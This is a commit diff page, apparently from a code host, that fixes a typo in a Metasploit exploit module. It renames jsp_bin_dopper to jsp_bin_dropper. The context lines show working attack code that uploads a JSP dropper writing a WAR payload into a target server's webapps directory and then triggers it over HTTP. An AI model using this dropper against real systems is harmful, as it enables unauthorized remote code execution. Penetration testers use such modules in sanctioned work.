typo
parent
044fefd02a
commit
b6c6397da3
|
@ -186,7 +186,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}).to_s
|
||||
File.open("foo.war", "wb") { |fd| fd.write(war) }
|
||||
|
||||
dropper = jsp_bin_dopper(war, "#{install_path}webapps/foo.war")
|
||||
dropper = jsp_bin_dropper(war, "#{install_path}webapps/foo.war")
|
||||
upload_file("#{install_path}webapps/appliance", "foo-dropper.jsp", dropper)
|
||||
send_request_cgi(
|
||||
{
|
||||
|
@ -201,7 +201,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
end
|
||||
|
||||
def jsp_bin_dopper(bin_data, output_file)
|
||||
def jsp_bin_dropper(bin_data, output_file)
|
||||
jspraw = %Q|<%@ page import="java.io.*" %>\n|
|
||||
jspraw << %Q|<%\n|
|
||||
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
|
||||
|
|
Loading…
Reference in New Issue